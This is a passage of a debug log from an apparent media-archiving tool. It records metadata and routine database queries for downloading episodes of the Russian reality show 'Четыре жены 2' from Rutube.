ли она является женой-другом. Смотрите программу «Четыре жены»!", "duration" => 6414, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", "id" => "b212e79c2631dc0596c54718c360e29f", "original_url" => "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", "playlist_index" => 20, "timestamp" => 1721311237, "title" => "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "upload_date" => "20240718"} 20:59:33.799 [debug] QUERY OK source="sources" db=1.1ms queue=0.3ms idle=25.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:33.801 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=20.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.803 [debug] QUERY OK source="media_items" db=1.1ms queue=0.5ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-18 14:00:37Z], 6] 20:59:33.858 [debug] QUERY OK source="media_items" db=49.8ms queue=0.8ms idle=12.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "732eec94-29fc-46ee-b136-9cfb67e7daa6", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", 20, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, false, false, 6, [], 1, ~U[2024-07-18 14:00:37Z], ~U[2025-12-09 17:59:33Z], ~U[2025-12-09 17:59:33Z], "Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, 6, ~U[2024-07-18 14:00:37Z]] 20:59:33.891 [debug] QUERY OK source="sources" db=32.0ms queue=0.1ms idle=63.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:33.894 [debug] QUERY OK source="media_profiles" db=2.6ms queue=0.1ms idle=92.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:33.898 [debug] QUERY OK source="media_items" db=2.1ms queue=0.7ms idle=94.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76343] 20:59:33.900 [debug] Current batch of media processed. Will check again in 1000ms 20:59:34.901 [debug] Current batch of media processed. Will check again in 1000ms 20:59:35.902 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "duration" => 6363, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", "id" => "bc51abdf2c419e1d28acbdbf0f08138c", "original_url" => "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", "playlist_index" => 21, "timestamp" => 1721918420, "title" => "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "upload_date" => "20240725"} 20:59:35.904 [debug] QUERY OK source="sources" db=0.8ms idle=910.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:35.905 [debug] QUERY OK source="sources" db=1.0ms idle=911.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:35.906 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=913.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-25 14:40:20Z], 6] 20:59:35.931 [debug] QUERY OK source="media_items" db=24.3ms idle=914.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "c242d45f-7b6a-4a40-9b07-5cb2558d6d1a", "bc51abdf2c419e1d28acbdbf0f08138c", 6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", 21, "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, false, false, 6, [], 1, ~U[2024-07-25 14:40:20Z], ~U[2025-12-09 17:59:35Z], ~U[2025-12-09 17:59:35Z], "В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "bc51abdf2c419e1d28acbdbf0f08138c", 6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, 6, ~U[2024-07-25 14:40:20Z]] 20:59:35.960 [debug] QUERY OK source="sources" db=26.6ms queue=0.2ms idle=468.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:35.968 [debug] QUERY OK source="media_profiles" db=5.8ms queue=0.1ms idle=58.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:35.978 [debug] QUERY OK source="media_items" db=4.7ms idle=66.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76344] 20:59:35.982 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "duration" => 6303, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", "id" => "5ee79bc88186c6a0e98f89857744957b", "original_url" => "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", "playlist_index" => 22, "timestamp" => 1722522611, "title" => "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "upload_date" => "20240801"} 20:59:35.984 [debug] QUERY OK source="sources" db=1.0ms queue=0.5ms idle=75.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:35.987 [debug] QUERY OK source="sources" db=1.6ms queue=0.5ms idle=53.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:35.989 [debug] QUERY OK source="media_items" db=1.1ms queue=0.8ms idle=27.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-01 14:30:11Z], 6] 20:59:36.019 [debug] QUERY OK source="media_items" db=27.5ms idle=23.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "b24739c3-b448-4858-b8e5-4ade3072ff25", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", 22, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, false, false, 6, [], 1, ~U[2024-08-01 14:30:11Z], ~U[2025-12-09 17:59:35Z], ~U[2025-12-09 17:59:35Z], "Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, 6, ~U[2024-08-01 14:30:11Z]] 20:59:36.033 [debug] QUERY OK source="sources" db=11.7ms queue=0.1ms idle=44.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:36.036 [debug] QUERY OK source="media_profiles" db=2.6ms idle=49.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:36.038 [debug] QUERY OK source="media_items" db=1.3ms idle=50.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76345] 20:59:36.039 [debug] Current batch of media processed. Will check again in 1000ms 20:59:37.040 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "duration" => 6280, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", "id" => "72516321a5ca53fcc0d36b2ea97272c8", "original_url" => "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", "playlist_index" => 23, "timestamp" => 1723126812, "title" => "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "upload_date" => "20240808"} 20:59:37.042 [debug] QUERY OK source="sources" db=1.3ms queue=0.2ms idle=1021.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:37.046 [debug] QUERY OK source="sources" db=2.6ms queue=0.5ms idle=1010.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:37.048 [debug] QUERY OK source="media_items" db=0.3ms idle=1011.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-08 14:20:12Z], 6] 20:59:37.174 [debug] QUERY OK source="media_items" db=124.9ms idle=1010.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "7134c3a1-5623-47f7-8f86-a35c98264842", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", 23, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, false, false, 6, [], 1, ~U[2024-08-08 14:20:12Z], ~U[2025-12-09 17:59:37Z], ~U[2025-12-09 17:59:37Z], "Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, 6, ~U[2024-08-08 14:20:12Z]] 20:59:37.187 [debug] QUERY OK source="sources" db=13.0ms idle=701.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:37.188 [debug] QUERY OK source="media_profiles" db=0.6ms idle=145.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:37.190 [debug] QUERY OK source="media_items" db=0.8ms idle=142.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76346] 20:59:37.190 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "duration" => 6038, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", "id" => "f5d66f7d3aa23630fbc0032d2125e993", "original_url" => "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", "playlist_index" => 24, "timestamp" => 1723731611, "title" => "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "upload_date" => "20240815"} 20:59:37.192 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=143.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 